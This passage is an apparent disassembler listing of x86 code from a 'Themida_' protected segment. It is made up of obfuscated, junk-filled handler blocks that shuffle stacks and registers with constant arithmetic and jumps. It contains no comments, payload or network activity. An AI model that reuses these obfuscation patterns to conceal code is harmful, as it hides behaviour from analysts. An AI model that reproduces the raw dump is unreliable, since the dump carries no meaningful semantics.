sub esi, 0FFFFFFFFh
or esi, 89F04C5h
add esi, 0F620EB2Fh
add edx, esi
pop esi
jmp loc_5554AF
; ---------------------------------------------------------------------------
loc_55B31C: ; CODE XREF: Themida_:0055AFF5j
mov edi, eax
mov eax, [esp]
add esp, 4
inc edi
push edi
dec dword ptr [esp]
pop edi
xor edi, 79B75412h
shl edi, 7
jmp loc_553542
; ---------------------------------------------------------------------------
loc_55B338: ; CODE XREF: Themida_:00559C60j
add [esp+4], esi
mov esi, [esp]
jmp loc_555FC2
; ---------------------------------------------------------------------------
loc_55B344: ; CODE XREF: Themida_:00554EA7j
push ebx
mov ebx, 239A0E3Dh
sub ebx, 12BD9C5Bh
xor edx, ebx
jmp loc_55BBB9
; ---------------------------------------------------------------------------
loc_55B357: ; CODE XREF: Themida_:00555FBDj
mov eax, 609437D0h
jmp loc_551DBC
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
push 4D29h
mov [esp], esp
push edx
mov edx, 4
add [esp+4], edx
push dword ptr [esp]
pop edx
add esp, 4
push dword ptr [esp]
pop esi
jmp loc_55511F
; ---------------------------------------------------------------------------
loc_55B38D: ; CODE XREF: Themida_:0055785Dj
push eax
jmp loc_55DCAC
; ---------------------------------------------------------------------------
loc_55B393: ; CODE XREF: Themida_:00552261j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_557022
; ---------------------------------------------------------------------------
loc_55B3A1: ; CODE XREF: Themida_:00558989j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55B3A6: ; CODE XREF: Themida_:0055D6F0j
mov esp, [esp]
shr ecx, 7
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], ebx
xor dword ptr [esp], 333E74E0h
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, esp
jmp loc_55C6B3
; ---------------------------------------------------------------------------
loc_55B3E0: ; CODE XREF: Themida_:00554004j
mov ebp, 6200936h
add ebp, 27F45E0h
inc ebp
push ecx
mov ecx, 89F4F16h
jmp loc_5579A6
; ---------------------------------------------------------------------------
loc_55B3F7: ; CODE XREF: Themida_:00554572j
mov esi, ebx
pop ebx
add [esp+4], esi
pop esi
pop ebp
jmp loc_55AF97
; ---------------------------------------------------------------------------
loc_55B405: ; CODE XREF: Themida_:0055DB6Dj
shl esi, 2
neg esi
add esi, 0B3D95C38h
and eax, esi
jmp loc_557862
; ---------------------------------------------------------------------------
loc_55B417: ; CODE XREF: Themida_:005530FCj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_558006
; ---------------------------------------------------------------------------
loc_55B42B: ; CODE XREF: Themida_:00555DAAj
sub esi, 4
xchg esi, [esp]
jmp loc_554945
; ---------------------------------------------------------------------------
loc_55B436: ; CODE XREF: Themida_:00554119j
sub esp, 4
mov [esp], ecx
mov ecx, 4
sub ebx, ecx
pop ecx
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55BEAD
; ---------------------------------------------------------------------------
loc_55B44F: ; CODE XREF: Themida_:0055D3D4j
not ah
inc ah
sub ah, 3Ch
jmp loc_55C991
; ---------------------------------------------------------------------------
loc_55B45B: ; CODE XREF: Themida_:00559CD4j
sub esp, 4
mov [esp], ebp
push ebx
push 6ECF1497h
mov ebx, [esp]
add esp, 4
jmp loc_558CB3
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_55468C
; ---------------------------------------------------------------------------
loc_55B488: ; CODE XREF: Themida_:005543A8j
sub ecx, 0E54300Ah
pop ebp
xchg ecx, [esp]
jmp loc_556189
; ---------------------------------------------------------------------------
loc_55B497: ; CODE XREF: Themida_:0055D799j
xor [esp], esi
xor esi, [esp]
pop esp
or [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55B4A8: ; CODE XREF: Themida_:00554204j
push eax
mov al, 0C3h
add al, 0F1h
add bl, al
pop eax
push ecx
mov cl, 69h
add cl, 34h
not cl
sub cl, 11h
neg cl
neg cl
add cl, 1Fh
add bl, cl
pop ecx
push ecx
push edx
jmp loc_558B9E
; ---------------------------------------------------------------------------
loc_55B4CC: ; CODE XREF: Themida_:0055AB9Fj
inc byte ptr [esp]
pushf
jmp loc_55DADB
; ---------------------------------------------------------------------------
loc_55B4D5: ; CODE XREF: Themida_:0055B645j
sub esi, ecx
pop ecx
add esi, eax
add esi, 70033F9Fh
jmp loc_558DA6
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 12685624h, 0E9000015h, 0FFFFCDECh
; ---------------------------------------------------------------------------
loc_55B4F4: ; CODE XREF: Themida_:00559824j
sub dh, 0D3h
mov al, dh
pop edx
xor bl, al
jmp loc_55CE58
; ---------------------------------------------------------------------------
loc_55B501: ; CODE XREF: Themida_:00551D34j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55B50F: ; CODE XREF: Themida_:0055BC0Fj
push 5Bh
jmp loc_55AC6A
; ---------------------------------------------------------------------------
loc_55B519: ; CODE XREF: Themida_:005533CAj
pop esp
mov [esp], ax
jmp loc_552A99
; ---------------------------------------------------------------------------
loc_55B523: ; CODE XREF: Themida_:00551B88j
add al, 0ACh
jmp loc_557DD2
; ---------------------------------------------------------------------------
loc_55B52A: ; CODE XREF: Themida_:00557E1Dj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55B52F: ; CODE XREF: Themida_:00552F58j
xor ebx, eax
pop eax
push edx
push 23E8h
mov [esp], ebx
mov ebx, 26E77B17h
mov edx, 5540BF39h
sub edx, ebx
pop ebx
xor edx, 29FD00A3h
dec edx
xor edx, 0AC3B706Ch
add ebx, edx
pop edx
jmp loc_554189
; ---------------------------------------------------------------------------
loc_55B55D: ; CODE XREF: Themida_:0055418Cj
add edx, eax
sub esp, 4
mov [esp], esi
mov esi, 2A7D684Fh
push edi
push esi
jmp loc_558CC9
; ---------------------------------------------------------------------------
loc_55B574: ; CODE XREF: Themida_:00557129j
xor [edi+24h], edx
inc edx
jmp loc_5533BB
; ---------------------------------------------------------------------------
loc_55B57D: ; CODE XREF: Themida_:00559BDFj
inc edi
jmp loc_55760B
; ---------------------------------------------------------------------------
lodsd
push ebx
mov ebx, 19E621B1h
add eax, ebx
jmp loc_5550F4
; ---------------------------------------------------------------------------
loc_55B591: ; CODE XREF: Themida_:005539C0j
add [esp+4], edi
pop edi
pop esi
jmp loc_55A0AE
; ---------------------------------------------------------------------------
loc_55B59C: ; CODE XREF: Themida_:00555F9Aj
add esp, 4
push esi
mov esi, esp
push edi
mov edi, 5EB45AE8h
shr edi, 5
add edi, 5D574DF3h
or edi, 7E33DD6h
or edi, 6FF35D7Bh
xor edi, 6C3C0DBCh
add edi, 0FC3C0FC1h
jmp loc_55342F
; ---------------------------------------------------------------------------
loc_55B5D1: ; CODE XREF: Themida_:00555D70j
add ax, si
pop si
pop cx
push small 360Ah
mov [esp], cx
jmp loc_55DAB1
; ---------------------------------------------------------------------------
loc_55B5E5: ; CODE XREF: Themida_:0055ADD5j
push 18B6h
jmp loc_55D412
; ---------------------------------------------------------------------------
loc_55B5EF: ; CODE XREF: Themida_:0055C2F7j
mov [esp], edx
mov edx, esp
push edi
jmp loc_55434D
; ---------------------------------------------------------------------------
loc_55B5FA: ; CODE XREF: Themida_:00557E02j
sub al, 55h
add al, ch
add al, 55h
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
push ecx
mov ecx, 3C88654Fh
shr ecx, 1
jmp loc_55AEF8
; ---------------------------------------------------------------------------
loc_55B61D: ; CODE XREF: Themida_:00559403j
push ecx
mov ecx, 4
add edi, ecx
pop ecx
add edi, 4
xchg edi, [esp]
jmp loc_55D985
; ---------------------------------------------------------------------------
loc_55B631: ; CODE XREF: Themida_:0055BACDj
pop ecx
push 795h
mov [esp], esi
jmp loc_55A0EE
; ---------------------------------------------------------------------------
loc_55B63F: ; CODE XREF: Themida_:0055D266j
add ecx, 29000905h
jmp loc_55B4D5
; ---------------------------------------------------------------------------
loc_55B64A: ; CODE XREF: Themida_:00555CA6j
pop ebx
and edi, 1B1719B8h
jmp loc_552872
; ---------------------------------------------------------------------------
loc_55B656: ; CODE XREF: Themida_:00556D33j
add esp, 4
xchg eax, [esp]
mov esp, [esp]
push edi
jmp loc_5571C3
; ---------------------------------------------------------------------------
loc_55B665: ; CODE XREF: Themida_:00556FDCj
sub edi, edx
pop edx
jmp loc_5583AB
; ---------------------------------------------------------------------------
loc_55B66D: ; CODE XREF: Themida_:0055C75Cj
sub eax, 461B0EE7h
pop edi
sub esp, 4
mov [esp], edi
push ecx
jmp loc_552923
; ---------------------------------------------------------------------------
loc_55B682: ; CODE XREF: Themida_:0055CBECj
push esp
jmp loc_5546D8
; ---------------------------------------------------------------------------
loc_55B688: ; CODE XREF: Themida_:0055BBB4j
mov [esp], edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebp
mov ebp, 4
add edi, ebp
pop ebp
push ebx
mov ebx, 2
add edi, 40DA04E9h
add edi, ebx
sub edi, 40DA04E9h
mov ebx, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_55CACE
; ---------------------------------------------------------------------------
loc_55B6CE: ; CODE XREF: Themida_:0055C3AEj
mov ah, 0E5h
sub cl, ah
pop ax
sub cl, 62h
jmp loc_552789
; ---------------------------------------------------------------------------
loc_55B6DC: ; CODE XREF: Themida_:00551F8Aj
add ebp, 4
jmp loc_557FDC
; ---------------------------------------------------------------------------
loc_55B6E4: ; CODE XREF: Themida_:00558E4Bj
neg esi
and esi, 5DAE66CEh
add esi, 0F7F9DB80h
sub eax, 41395C8Dh
add eax, esi
add eax, 41395C8Dh
pop esi
push ecx
jmp loc_553965
; ---------------------------------------------------------------------------
loc_55B705: ; CODE XREF: Themida_:00559419j
pop edx
jmp loc_55CDBF
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
jmp loc_557FF5
; ---------------------------------------------------------------------------
loc_55B724: ; CODE XREF: Themida_:00559270j
mov edi, 4
sub edx, 5DDA23E1h
add edx, edi
jmp loc_5575C0
; ---------------------------------------------------------------------------
loc_55B736: ; CODE XREF: Themida_:005533ACj
and dh, 64h
shl dh, 4
sub dh, 0FCh
add al, 53h
add al, dh
push bx
mov bh, 53h
sub al, bh
pop bx
pop edx
sub al, bl
jmp loc_559A51
; ---------------------------------------------------------------------------
loc_55B753: ; CODE XREF: Themida_:00551B09j
mov [esp], esp
jmp loc_552D08
; ---------------------------------------------------------------------------
loc_55B75B: ; CODE XREF: Themida_:00552B2Ej
pop eax
add eax, 4
add eax, 2
xchg eax, [esp]
jmp loc_55D00C
; ---------------------------------------------------------------------------
loc_55B76C: ; CODE XREF: Themida_:00553E96j
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_55B7CF
; ---------------------------------------------------------------------------
loc_55B77C: ; CODE XREF: Themida_:0055D87Bj
push 45F5h
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_559A98
; ---------------------------------------------------------------------------
loc_55B79B: ; CODE XREF: Themida_:0055C4DFj
pop ecx
xchg ebx, [esp]
pop esp
jmp loc_554018
; ---------------------------------------------------------------------------
loc_55B7A5: ; CODE XREF: Themida_:00551D6Ej
add eax, ecx
pop ecx
push ecx
push edx
jmp loc_55B993
; ---------------------------------------------------------------------------
mov eax, [esp]
sub esp, 4
jmp loc_55443B
; ---------------------------------------------------------------------------
loc_55B7BD: ; CODE XREF: Themida_:00551977j
mov esp, [esp]
jmp loc_5558D8
; ---------------------------------------------------------------------------
loc_55B7C5: ; CODE XREF: Themida_:005538DFj
mov ebp, 0BD3EA9F6h
jmp loc_553C75
; ---------------------------------------------------------------------------
loc_55B7CF: ; CODE XREF: Themida_:0055B777j
add ebx, 4
push ecx
mov ecx, 4
jmp loc_55D6F5
; ---------------------------------------------------------------------------
loc_55B7E0: ; CODE XREF: Themida_:0055B8EFj
push 3DE8h
mov [esp], esi
push 4337h
jmp loc_55C26C
; ---------------------------------------------------------------------------
loc_55B7F2: ; CODE XREF: Themida_:005562DFj
add ecx, edx
add ecx, 4DCD6CC2h
push ebx
mov ebx, 0
add ebx, ecx
jmp loc_5584C2
; ---------------------------------------------------------------------------
loc_55B807: ; CODE XREF: Themida_:00557ECBj
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 2
jmp loc_55AB93
; ---------------------------------------------------------------------------
loc_55B822: ; CODE XREF: Themida_:00553796j
push 2166h
mov [esp], edx
jmp loc_557D3D
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 12D7h
mov [esp], ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 4
sub ebp, 1EDF0E94h
sub ebp, edx
add ebp, 1EDF0E94h
pop edx
xchg ebp, [esp]
pop esp
mov [esp], edi
mov edi, 3C133C5Ah
xor eax, edi
push dword ptr [esp]
pop edi
jmp loc_5570F5
; ---------------------------------------------------------------------------
loc_55B86E: ; CODE XREF: Themida_:00558F50j
sub [esp+2], dh
pop dx
sub [esp], dl
add byte ptr [esp], 9
mov dl, [esp]
add esp, 2
push eax
jmp loc_553D6B
; ---------------------------------------------------------------------------
mov eax, [esp]
push 75F9h
jmp loc_55DD61
; ---------------------------------------------------------------------------
loc_55B894: ; CODE XREF: Themida_:0055B231j
shr ch, 6
shl ch, 5
neg ch
jmp loc_55595C
; ---------------------------------------------------------------------------
loc_55B8A1: ; CODE XREF: Themida_:00559998j
shr ecx, 4
jmp loc_556994
; ---------------------------------------------------------------------------
loc_55B8A9: ; CODE XREF: Themida_:0055BCF5j
pop esp
push esi
mov esi, esp
jmp loc_555795
; ---------------------------------------------------------------------------
loc_55B8B2: ; CODE XREF: Themida_:0055CB57j
xor [esp], ebx
xor ebx, [esp]
pop esp
xor [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55B8C3: ; CODE XREF: Themida_:0055DC88j
xor edi, eax
pop eax
push edx
mov edx, 5F147458h
add edx, 0ACF802CAh
and edi, edx
pop edx
jmp loc_558F42
; ---------------------------------------------------------------------------
push ebp
mov ebp, 4
sub dword ptr [esp+4], 492939h
jmp loc_554C0E
; ---------------------------------------------------------------------------
loc_55B8ED: ; CODE XREF: Themida_:0055D8D6j
mov edi, esp
jmp loc_55B7E0
; ---------------------------------------------------------------------------
loc_55B8F4: ; CODE XREF: Themida_:0055C3D3j
mov [esp], ebx
mov eax, [esp]
jmp loc_55AA08
; ---------------------------------------------------------------------------
loc_55B8FF: ; CODE XREF: Themida_:00552F6Fj
add esp, 4
jmp loc_5525EA
; ---------------------------------------------------------------------------
loc_55B90A: ; CODE XREF: Themida_:0055DC47j
mov [esp], ecx
push eax
mov al, bh
mov ch, al
pop eax
not ch
mov bh, ch
pop ecx
neg bh
shl bh, 3
push edx
mov dl, 3Ah
shr dl, 1
push eax
mov al, 0C6h
or al, 63h
jmp loc_55BD8C
; ---------------------------------------------------------------------------
loc_55B92C: ; CODE XREF: Themida_:00559E57j
add edi, ecx
pop ecx
sub edi, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_559513
; ---------------------------------------------------------------------------
loc_55B957: ; CODE XREF: Themida_:005582F8j
sub ebx, 3824034Ch
add ebx, 2B3D6551h
sub ebx, 61DE35BBh
sub ebx, 4CA39A0h
add ebp, ebx
pop ebx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5599FD
; ---------------------------------------------------------------------------
loc_55B98A: ; CODE XREF: Themida_:00556803j
pop edi
xchg ecx, [esp]
jmp loc_55BFB2
; ---------------------------------------------------------------------------
loc_55B993: ; CODE XREF: Themida_:0055B7AAj
mov edx, 46831725h
mov ecx, edx
pop edx
add eax, ecx
jmp loc_55A232
; ---------------------------------------------------------------------------
loc_55B9A2: ; CODE XREF: Themida_:005578CAj
xor eax, 405C285h
add ebx, eax
pop eax
add ebx, 6FF65D94h
sub ebx, eax
push edi
mov edi, 6EE372C5h
dec edi
sub edi, 3E9F6512h
add edi, 3FB24FE2h
jmp loc_55AD61
; ---------------------------------------------------------------------------
loc_55B9CA: ; CODE XREF: Themida_:00558964j
add eax, 4
push ebp
jmp loc_55C8EC
; ---------------------------------------------------------------------------
loc_55B9D5: ; CODE XREF: Themida_:00557707j
add ecx, esi
jmp loc_551F58
; ---------------------------------------------------------------------------
loc_55B9DC: ; CODE XREF: Themida_:0055BF44j
not ebp
push edx
mov edx, 7195094Dh
dec edx
shr edx, 4
push ebx
mov ebx, 7AAF5FE7h
sub edx, ebx
jmp loc_5584F2
; ---------------------------------------------------------------------------
loc_55B9F5: ; CODE XREF: Themida_:00559EF2j
xor ecx, 16B958h
add edx, ecx
pop ecx
jmp loc_5557B4
; ---------------------------------------------------------------------------
loc_55BA03: ; CODE XREF: Themida_:0055A59Cj
push edx
push ebp
mov ebp, 644C2769h
mov edx, 56416570h
jmp loc_55C3F3
; ---------------------------------------------------------------------------
loc_55BA14: ; CODE XREF: Themida_:00555E69j
pop ebx
or edx, eax
shl edx, 1
push 54BCh
mov [esp], ecx
mov ecx, 24h
sub ecx, 138047A6h
push edi
mov edi, 7CE0503Dh
sub ecx, edi
pop edi
add ecx, edi
add ecx, 7CE0503Dh
jmp loc_558AD3
; ---------------------------------------------------------------------------
loc_55BA42: ; CODE XREF: Themida_:0055C41Bj
mov al, 6Ah
jmp loc_55321B
; ---------------------------------------------------------------------------
loc_55BA49: ; CODE XREF: Themida_:0055A0A9j
pop edi
not edx
shl edx, 3
add edx, 585FB6D5h
xor esi, edx
jmp loc_55D1F5
; ---------------------------------------------------------------------------
loc_55BA5C: ; CODE XREF: Themida_:00559E86j
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
jmp loc_55CD3A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
push ecx
push esp
pop ecx
jmp loc_5554EE
; ---------------------------------------------------------------------------
loc_55BA7C: ; CODE XREF: Themida_:00556228j
push ebp
jmp loc_55235D
; ---------------------------------------------------------------------------
loc_55BA82: ; CODE XREF: Themida_:005540BEj
neg eax
jmp loc_551AA8
; ---------------------------------------------------------------------------
loc_55BA89: ; CODE XREF: Themida_:005588B4j
push ebp
mov ebp, 377E0CDDh
jmp loc_55B2B2
; ---------------------------------------------------------------------------
loc_55BA94: ; CODE XREF: Themida_:00553DFAj
xor dl, cl
pop ecx
xor dl, bh
push dword ptr [esp]
pop ebx
add esp, 4
xor al, dl
mov edx, [esp]
add esp, 4
xor bl, al
push 226Fh
mov [esp], ebp
mov ebp, 3FCh
push edx
push ecx
mov ecx, 30B72858h
jmp loc_55438E
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_554C42
; ---------------------------------------------------------------------------
loc_55BACC: ; CODE XREF: Themida_:0055857Bj
pop ebx
jmp loc_55B631
; ---------------------------------------------------------------------------
loc_55BAD2: ; CODE XREF: Themida_:0055D0BBj
pop ebx
add edx, 4
xchg edx, [esp]
pop esp
push eax
jmp loc_557FE4
; ---------------------------------------------------------------------------
loc_55BAE3: ; CODE XREF: Themida_:0055AD98j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55BAE8: ; CODE XREF: Themida_:00556E35j
mov esp, [esp]
jmp loc_55DC8D
; ---------------------------------------------------------------------------
loc_55BAF0: ; CODE XREF: Themida_:0055A10Fj
add al, ch
add al, 62h
push dword ptr [esp]
pop ecx
push ebp
push esp
jmp loc_553592
; ---------------------------------------------------------------------------
loc_55BAFF: ; CODE XREF: Themida_:005546FFj
sub ebx, 6FC94AEAh
add ebx, edx
add ebx, 6FC94AEAh
sub ebx, 7B1748E9h
pop edx
jmp loc_556688
; ---------------------------------------------------------------------------
loc_55BB19: ; CODE XREF: Themida_:0055D9BDj
mov [esp], edi
push ebp
mov ebp, 36617933h
not ebp
inc ebp
inc ebp
jmp loc_558784
; ---------------------------------------------------------------------------
loc_55BB2B: ; CODE XREF: Themida_:00554E56j
push ebp
jmp loc_555CF0
; ---------------------------------------------------------------------------
loc_55BB31: ; CODE XREF: Themida_:0055C20Fj
xchg esi, [esp]
pop esp
or edx, eax
shl edx, 1
jmp loc_55263E
; ---------------------------------------------------------------------------
loc_55BB3E: ; CODE XREF: Themida_:00554184j
add ebx, 16CE6693h
dec ebx
xor ebx, 13FED550h
and edi, ebx
pop ebx
jmp loc_55C0FF
; ---------------------------------------------------------------------------
loc_55BB53: ; CODE XREF: Themida_:0055AC84j
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_558679
; ---------------------------------------------------------------------------
loc_55BB5F: ; CODE XREF: Themida_:0055803Cj
sub dh, 0DFh
jmp loc_558ABE
; ---------------------------------------------------------------------------
loc_55BB67: ; CODE XREF: Themida_:0055DB1Ej
dec ebp
add ebp, 66F36067h
sub ebp, 208918E5h
push eax
mov eax, 0BC02B92Dh
add ebp, eax
pop eax
jmp loc_553307
; ---------------------------------------------------------------------------
loc_55BB82: ; CODE XREF: Themida_:0055A070j
add esp, 4
jmp loc_55A2A8
; ---------------------------------------------------------------------------
loc_55BB8A: ; CODE XREF: Themida_:005529FBj
pop esi
sub esp, 4
mov [esp], eax
jmp loc_559002
; ---------------------------------------------------------------------------
loc_55BB99: ; CODE XREF: Themida_:00554A24j
inc dh
add dh, 22h
sub dh, 48h
add bl, dh
pop edx
sub bl, 0B1h
sub bl, al
push eax
push ecx
jmp loc_55ACC4
; ---------------------------------------------------------------------------
loc_55BBB0: ; CODE XREF: Themida_:00556144j
xchg ecx, [esp]
pop esp
jmp loc_55B688
; ---------------------------------------------------------------------------
loc_55BBB9: ; CODE XREF: Themida_:0055B352j
pop ebx
mov ecx, edx
pop edx
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
jmp loc_559712
; ---------------------------------------------------------------------------
loc_55BBD5: ; CODE XREF: Themida_:00557D69j
and edx, 0D9F2318h
inc edx
xor edx, 9102000h
mov esi, edx
jmp loc_5547C1
; ---------------------------------------------------------------------------
loc_55BBE9: ; CODE XREF: Themida_:00559E24j
add ebp, edx
sub ebp, 2F6668F3h
sub ebp, 2BB865F6h
add ebp, 37C921B2h
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_55B50F
; ---------------------------------------------------------------------------
loc_55BC14: ; CODE XREF: Themida_:0055A653j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_555ADB
; ---------------------------------------------------------------------------
loc_55BC28: ; CODE XREF: Themida_:0055292Bj
add ecx, 23D95D60h
jmp loc_55690D
; ---------------------------------------------------------------------------
loc_55BC33: ; CODE XREF: Themida_:00556FC8j
add esi, 4
add esi, 4
jmp loc_55183F
; ---------------------------------------------------------------------------
loc_55BC41: ; CODE XREF: Themida_:0055584Dj
pop edx
jmp loc_555722
; ---------------------------------------------------------------------------
loc_55BC47: ; CODE XREF: Themida_:0055AB64j
sub edx, 434515A4h
jmp loc_554EE6
; ---------------------------------------------------------------------------
loc_55BC52: ; CODE XREF: Themida_:00551EBEj
add esp, 4
loc_55BC58: ; CODE XREF: Themida_:005562F1j
push ebx
xor dword ptr [esp], 6D22611Eh
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_5557AC
; ---------------------------------------------------------------------------
loc_55BC6C: ; CODE XREF: Themida_:0055DB7Aj
movzx ecx, ax
jmp loc_557474
; ---------------------------------------------------------------------------
loc_55BC74: ; CODE XREF: Themida_:0055A3A0j
xor esi, 19589310h
and eax, esi
mov esi, [esp]
add esp, 4
shr eax, 10h
xor eax, ecx
xor eax, ebp
xor ebp, eax
xor eax, ebp
push ebp
push esi
jmp loc_55D32A
; ---------------------------------------------------------------------------
loc_55BC97: ; CODE XREF: Themida_:0055742Aj
mov eax, 4
sub edx, 2F0F74F9h
add edx, eax
push ecx
push ebx
mov ebx, 92827C6h
add ebx, 1DCE09CDh
sub ebx, 1
shl ebx, 7
add ebx, 1
add ebx, 0B1074692h
mov ecx, ebx
jmp loc_5551EC
; ---------------------------------------------------------------------------
loc_55BCCA: ; CODE XREF: Themida_:0055AA8Dj
mov ebp, esp
add ebp, 4
jmp loc_551DE1
; ---------------------------------------------------------------------------
loc_55BCD7: ; CODE XREF: Themida_:0055BD34j
inc ebx
add ebx, 0B4CDF6ACh
push ebx
mov ebx, 3F1935E3h
jmp loc_5524A8
; ---------------------------------------------------------------------------
loc_55BCE9: ; CODE XREF: Themida_:0055D53Aj
xchg ebp, [esp]
pop esp
jmp loc_55CD32
; ---------------------------------------------------------------------------
loc_55BCF2: ; CODE XREF: Themida_:005567FBj
xchg edx, [esp]
jmp loc_55B8A9
; ---------------------------------------------------------------------------
loc_55BCFA: ; CODE XREF: Themida_:005556E5j
push dword ptr [esp]
mov ebp, [esp]
jmp loc_55CEEF
; ---------------------------------------------------------------------------
loc_55BD05: ; CODE XREF: Themida_:00555BB3j
sub dl, al
add dl, 56h
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xor dl, 0F6h
jmp loc_5596B8
; ---------------------------------------------------------------------------
loc_55BD28: ; CODE XREF: Themida_:0055361Aj
push esp
jmp loc_559693
; ---------------------------------------------------------------------------
loc_55BD2E: ; CODE XREF: Themida_:0055A0BEj
push ebx
mov ebx, 4B320955h
jmp loc_55BCD7
; ---------------------------------------------------------------------------
loc_55BD39: ; CODE XREF: Themida_:0055C959j
add edi, 32CDC490h
or ecx, edi
pop edi
jmp loc_556C95
; ---------------------------------------------------------------------------
loc_55BD47: ; CODE XREF: Themida_:00553E2Cj
push esi
push edi
jmp loc_559573
; ---------------------------------------------------------------------------
loc_55BD4E: ; CODE XREF: Themida_:0055D2A6j
and esi, 0D035812h
jmp loc_554F90
; ---------------------------------------------------------------------------
loc_55BD59: ; CODE XREF: Themida_:0055ADEDj
shr ecx, 7
jmp loc_55ABD0
; ---------------------------------------------------------------------------
loc_55BD61: ; CODE XREF: Themida_:00559D2Fj
add edi, edx
pop edx
xchg edi, [esp]
mov esp, [esp]
add ebx, 4
jmp loc_5570B9
; ---------------------------------------------------------------------------
loc_55BD75: ; CODE XREF: Themida_:00553C62j
pop esp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55BD7B: ; CODE XREF: Themida_:00553F9Dj
push 65E9h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55D5A1
; ---------------------------------------------------------------------------
loc_55BD8C: ; CODE XREF: Themida_:0055B927j
or al, 0A7h
add al, 0BDh
or dl, al
pop eax
or dl, 16h
and dl, 50h
sub dl, 69h
dec dl
not dl
not dl
jmp loc_5531CA
; ---------------------------------------------------------------------------
loc_55BDA7: ; CODE XREF: Themida_:0055632Bj
or eax, eax
jz loc_555A01
push dword ptr [edi+1Ch]
mov ecx, [esp]
push 697Ch
mov [esp], esi
push esp
pop esi
add esi, 4
jmp loc_554704
; ---------------------------------------------------------------------------
loc_55BDCA: ; CODE XREF: Themida_:00554A55j
push edi
mov edi, 49123B01h
push 3CEAh
jmp loc_553A1E
; ---------------------------------------------------------------------------
loc_55BDDA: ; CODE XREF: Themida_:0055B2FBj
add eax, 4C21409h
sub eax, 403534CFh
push dword ptr [esp]
pop edi
jmp loc_55772B
; ---------------------------------------------------------------------------
loc_55BDED: ; CODE XREF: Themida_:00556FCEj
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_555DAF
; ---------------------------------------------------------------------------
loc_55BDFE: ; CODE XREF: Themida_:0055A12Bj
add esp, 4
add esp, 4
shr eax, 18h
xor eax, ecx
sub esp, 4
mov [esp], eax
push edx
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
push edx
xchg ecx, [esp]
jmp loc_5522D9
; ---------------------------------------------------------------------------
loc_55BE2C: ; CODE XREF: Themida_:0055D077j
push dword ptr [edi+1Ch]
push ebp
mov ebp, 5F6B2E80h
add [esp+4], ebp
pop ebp
jmp loc_554C3A
; ---------------------------------------------------------------------------
loc_55BE3F: ; CODE XREF: Themida_:00558A51j
push dword ptr [esp]
pop ecx
push 2478h
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
jmp loc_55B00C
; ---------------------------------------------------------------------------
loc_55BE57: ; CODE XREF: Themida_:0055A62Aj
pop esp
jmp loc_55DC23
; ---------------------------------------------------------------------------
loc_55BE5D: ; CODE XREF: Themida_:00556DFCj
push 7532h
mov [esp], ebp
push esp
pop ebp
add ebp, 4
push 789Bh
jmp loc_555550
; ---------------------------------------------------------------------------
loc_55BE77: ; CODE XREF: Themida_:0055A953j
add ebp, 4
push edi
push edx
push 3AA76DFEh
jmp loc_552266
; ---------------------------------------------------------------------------
loc_55BE89: ; CODE XREF: Themida_:0055929Bj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55BE8E: ; CODE XREF: Themida_:00554F0Dj
add edi, ebx
pop ebx
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
add esi, 2
xchg esi, [esp]
mov esp, [esp]
push ebx
jmp loc_55CB1B
; ---------------------------------------------------------------------------
loc_55BEAD: ; CODE XREF: Themida_:0055B44Aj
pop dword ptr [esp]
pop esp
mov [esp], ebp
mov ebp, 3F9F53F5h
